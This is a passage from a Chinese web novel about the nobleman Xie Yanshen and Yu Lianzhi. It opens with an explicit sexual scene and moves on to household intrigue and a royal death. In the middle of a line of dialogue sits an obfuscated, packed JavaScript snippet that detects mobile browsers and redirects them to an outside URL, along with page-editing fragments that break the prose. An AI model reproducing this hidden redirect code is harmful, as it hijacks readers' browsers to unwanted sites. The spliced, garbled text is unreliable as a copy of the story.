她平素不爱食荤腻，更爱甜软糕点，吃的时候看着收敛，一小口一小口地吞，其实一入口就不愿停下来。 与现在一模一样。 区别只是，她咬他还隔着衣料，但这样反而更加磨人。 男人的脖颈绷到最紧，抑声不语，鬓角却已经被水汗沁湿，他低头看去，只在昏晃烛光里得以看见少女因为沾染堕色而恍惚的双眼。 她没有抬起头与他对视，她正沉溺在别样的快乐里，她在榻上素来就不安分，惯爱用些腥靡又幽秘的方式来掌控他。 那是一种床榻之外不能言说半句、荡人心魂的靡软下流。 灯花又一次绽开的时候，细白的双臂轻而易举把男人压着一同倒在榻上，随后直起身。 她已经忍到极限了。 她想要快乐。 想要能够把她彻底溺死，再也不问人间世事的快乐，好让她不再心乱如麻。 好想。 她仰着头，咬着左手食指侧边，半阖着眼，另一手被袍摆丝绸覆住。 长长地吟哼一声后，松了腿上力气。 织金罗帐如流水散落莲纹砖地，绸衫剥落又坠地，唯一一星烛火闪动着快要熄灭。 细瘦的影子摇晃了没多久就渐渐失了气力，不知何时，从自如的轻摆变成了难以自控地颠簸。 权柄交移，她浑身湿滑，很快倒下去，随后细碎的低叹变成了抑制不住的哭叫。 但他没有任何停下的意思，她的身子比冬日里的花秧还要娇弱，受不得一点霜雪雨流，但他不管不顾，仿佛要将她彻底灌死在这里。 他太久没有见她，疯了一样朝她索取。 “不行……明日还要……回去……”她断断续续地张口呼吸，说着要离开的话，裸白的手臂却下意识搂抱住男人的脖颈。 谢砚深抬起埋下去的头，双目半阖，复又压在她的耳边，声音沉得吓人： “休沐，有五日……” “你病了，在主院养几天。” 玉怜脂陡然清醒了些许，微微睁大了眼。 五日。 休养。 怎么休养? 和他在床榻上休养吗—— 倏地，一只大手遮盖住她的眼部，随即更加猛烈的劲风暴雨袭来，冲垮了她所有的思绪。 “听话。” 彻底丧失意识前，她只听见了这两个字。 86.真假 窗外的日光渐盛，花叶上凝结的霜冰化作露水，缓慢滴落，还没有彻底干涸，天上又飘下了雪花。 玉怜脂整个人埋在高枕厚被里，昏昏沉沉的。 前一晚弄得太凶，她眼睛都睁不开，全身都是软的，清晨的时候，谢砚深抱她起来洗漱，喂了些流食，灌了汤药，才又放她继续睡。 这一觉睡到快用午膳的时辰，青娘领着婢女们推门进来，要服侍她更衣。 主院里能被指派来伺候她的人身上都有些功夫，力气很大，她回过神的时候，已经被扶着坐在妆台前梳发了。 鎏金盆里漫起温热水雾，绸布浸入水下，带连水面的花瓣，婢女动作灵巧，两下拧好软巾，摊在双掌上。 玉怜脂还半阖着眼，眼前罩上一片阴影，下一刻，整张脸被温暖带着香气的的软绸包裹起来，人一瞬间就清醒了。 “姑娘今日想穿哪件裙裳？侯爷早便吩咐了下头人，给您置办了许多新的首饰衣衫，全是京里数一数二的手艺，库房都摆满了，叫人照着画了图样，待会儿把册子拿来，您挑喜欢的，侯爷说，若是都不满意，再去做新的就是了。”青娘手上给她挽发髻，笑着说。 玉怜脂轻应了一声，后问：“他呢？” “侯爷在书房，应当是在处理军务吧。” … "……安平伯府夫人和小姐的腿脚都被绿巩油所伤，暗地里请了不少京畿外的医科圣手诊治，按您的吩咐，派人混进去查验过了，安平伯夫人的伤轻一些，尚能行走，但伯府表小姐的伤重，腐痛难忍，药石无医，一定是治不好了。”暗卫统领半跪于地，垂首回话， “追捕云山观监院的人传信回来，说已经查到了清晖道人隐匿之处，准备收网。” 谢砚深坐在书案后，表情冷厉阴霾。 原本念着王老太君的情分，加上赵庆吉受了重伤也算惩罚，如果安平伯夫人安分守己，他也不会赶尽杀绝。 但正如所料，他一出京，安平伯夫人和赵庆姗就要对玉怜脂不利。 想来先前他和王老太君说的不会娶赵庆姗为妻，王老太君半句也没转达给安平伯府，心里还存了他会回心转意的侥幸。 绿巩油这样阴毒至极的东西，要是玉怜脂真的被它伤到—— 眉心倏然压到最低，眉宇间戾气横生。 “事情办的不错。”声音极为冰冷，“瞒住她了么？” 暗卫统领连忙答：“侯爷放心，这种腌臜事，怎么敢让姑娘知道，只有姑娘身边的那位段女医知晓，她也嘱咐过让我们不能走漏风声，以免姑娘心烦。” “那就好，下去领赏吧。” “是。” 暗卫统领闪身出了门，书房里清静下来。 福明一直站在一旁，等人走了，两步上前：“侯爷，安平伯府那边，我们是不是要……” “赵庆吉的事，交给御史台的韩彰，告诉他，不用有任何忌讳。” 福明立刻应下：“明白。” 御史台知弹侍御史韩彰，以辩口利辞闻名，官位不高，但只要有本上奏，必定是言词辛辣，不搅起朝堂风云誓不罢休。 由他来弹劾赵家，安平伯府绝对是再也没有安生日子过了。 “侯爷，”书房门被轻敲，忠伯的声音透进来，“午膳备好了，请您去偏厅用膳吧。” “……玉姑娘已经在厅里等着了。”补充了一句。 福明抬头看了一眼主子的神色，果不其然和缓许多。 谢砚深起身出了书房，今天的午膳布置在离书房最近的西偏厅，没有寝院的偏厅大，但极尽华贵雅致，整间屋子几乎全是用楠木打造，香楠作梁栋，金丝楠与水楠作陈设物什，楠木气味芬芳不说，端看也是一饱眼福。 只是打理起来繁琐至极，每回至少二十个下人一齐小心清理才够。 谢砚深进门的时候，玉怜脂已经等了有一会儿了，百般聊赖，没坐着，站在窗边，推了个小缝看雪景。 寒风钻进来，她也不觉得冷，眼睛定定地朝外头望。 今天她穿了一身练色的长裙，披着狐裘，发上只簪了两支翠珠钗，很素净，却不堕姝色。 然而这样的妆扮搭配上她苍白的脸色，静漠的神情，谢砚深看着，心中不知为何猛地出现一瞬战栗。 “天冷，先用了饭再看吧。”走到她身后，不由分说关了窗。 这个时候，玉怜脂才像是知道他来了，怔了一秒，缓缓转回身。 谢砚深的眉头皱得更紧。 似乎看出他的忧虑，玉怜脂笑了笑，牵过他的手：“砚郎。” “……这段日子的事我都知道了，我不在，让你受委屈了，之后的事你不必管，我自会处置那些小人，”谢砚深默然片刻，尽量放缓声音， “最近的药吃得还好么？有没有哪里不舒服？” 她受了一场磋磨，虽然扛了过去，但到底还是伤了身，或许是被惊吓到了，才会有这样郁郁寡欢的情态。 玉怜脂眼中微闪，低下头：“都好，我没什么大碍。” “就是乏了，困。”声音很轻。 她为什么会乏力，他最清楚。 话音落下，谢砚深一顿，随后将面前人拥入怀中。 “是我的错。”声音带上丝许缱绻。 末了，又道：“先前派人去寻的那位谯地游医，已经找到了，是个有真才实学的，不日便进京来为你诊治。” 提到为她找到良医时，语气明显愉悦许多。 玉怜脂愣了一下，随后才反应过来他在说什么。 冬祭在谢氏族庄里，他说打听到一个谯地的游医，擅长疑难之证，要请来给她治心疾，距今已经过去了好几个月，这件事居然有消息了。 玉怜脂心中只泛起一点波澜，很快又湮灭。 她的病她自己清楚，从小到大，父母为她找过多少大夫，换过多少医方，最后还不是只能勉强吊着这条命。 娘胎里带出来的弱症，想要根治，难于登天。 但还是没有驳他的兴，微笑问：“有真才实学？怎么说？” 谢砚深抚她的鬓发：“此人医术乃是家传，祖上是前朝受后宫争斗牵连被逐出宫的太医院院使，被下令后代再不许从事岐黄之道，本朝开国以后解了禁令，但家里已经无人再行医，一直到他重拾祖业。” 太医院院使是太医院最高的官位，医术高绝毋庸置疑。 玉怜脂有些漫不经心：“原来是前朝太医后人，想来是有真本事。” “我已经命人护送他赶来，但路途遥远，还需要一两月。” 玉怜脂趴在他怀里，低头玩他腰带上挂的墨玉玉佩：“这些都是后头的事，你还是帮我想想，太夫人的寿礼要送什么吧。” 快到冬月十六了，王老太君的寿辰又要到了。 “不是什么大事，我让人替你备下就是，”谢砚深把她按坐在椅上，“先用膳。” “怎么不是大事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754104|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我在太夫人那里一向不讨好，送份花心思的寿礼，说不准她老人家一开心，待我还能好点。” 谢砚深执箸给她布菜，边说：“京城最近不太平，今年的寿宴不会像去年那样大操大办，不必太上心。” 此话一语成谶，只不过王老太君的寿宴不只是不能大操大办，而是直接没法办了。 逸王回朝后的第三天，平武帝下了将两江一众押回京城受审的犯官全部斩首抄家的圣旨。 第六日，皇嫡子承王重病，平武帝令其居于亲王府中，闲杂人等无事不得扰承王养病，此时，承王舅父护国公已多日不朝，护国公府门户紧闭。 群臣议论纷纷，承王和护国公被软禁的消息暗地里飞速传播。 第八日，冬月十四，离王老太君寿辰还有两天，侯府里正在紧锣密鼓地布置家宴，喜庆的氛围刚起来。 深夜，厚重震天的钟声响彻京城上空。 足足二十七声，大丧之音自宫城朝整座皇都扩散。 长信宫太皇太后，驾崩。 百官遵循礼法，大丧礼间为太皇太后哭灵，宗亲官员，平民百姓，全部着素服，百姓百日内不许兴娱嫁娶，满城白装，今年的冬季来得更为刺骨冰寒。 谢滨和谢砚深这段日子忙得不可开交，多数在府外官署居住，过了二十七日，大丧礼暂告一段落后，才彻底搬回府里。 回府后官服都没来得及换，立刻被润安堂的下人请到王老太君处，一顿询问后，兄弟两人才一并出来。 谢滨抹了把脸，才发觉手下的胡须都比往日杂乱许多：“陛下下旨，依从钦天监之言，今年冬祭与太皇太后出殡一并，这一次大概要在行宫住上好些日子，府里得预备起来了。” 谢砚深颔首：“已经让底下人去办了。” 谢滨有些犹疑：“太皇太后驾崩，母亲斋宿到如今，身子怕是顶不住，方才在里头，她老人家的意思你也瞧见了，是想留在府里，你嫂嫂精神倒是比从前好多了，是能去的，我只担心一桩事……怜脂身体愈发不好，去冬祭有些不方便，我却又不大放心她和母亲在府里独处。” 谢砚深的脸色也沉下来，沉吟片刻，说道：“既如此，还是让她一同去吧，我会吩咐下面的人，多加照顾她，衣食车马都用最好的。” “若是能如此，那真是再好不过了。”谢滨笑道。 又走了一段路，到了回廊岔口，两边人即将分开，谢滨的靴子已经转向右边。 忽然想起什么，谢砚深偏首叫住他：“兄长。” 谢滨回头。 谢砚深肃声：“先前珠玉院的下人禀报过，腊月里是玉氏夫人的冥诞，是否一齐置备纸烛之物？” 玉氏的夫人，玉怜脂的亡母。 谢滨愣住，随后摸着头思索了半晌，才半是疑惑半是迷茫开口： “怜脂母亲的诞辰……我记得，是暑夏里啊。” 他在苏州几年，戚脂生辰宴，玉逢羲还请过他的，只是时间太久，脑海里的记忆模糊了些，可季节总是不会弄混的，更何况是冬夏这两个差距极大的时节。 话音落下，几步外，谢砚深倏然眯起眼。 “莫非是我记错了？”谢滨拍着额头，想了半天想不出来，抬起眼，被对面人的脸色吓了一跳。 “二郎，你这是……？” 谢砚深却没再多说什么，只道了一句“兄长慢行”，转身便大步离去。 只留下回廊里满头雾水的谢滨。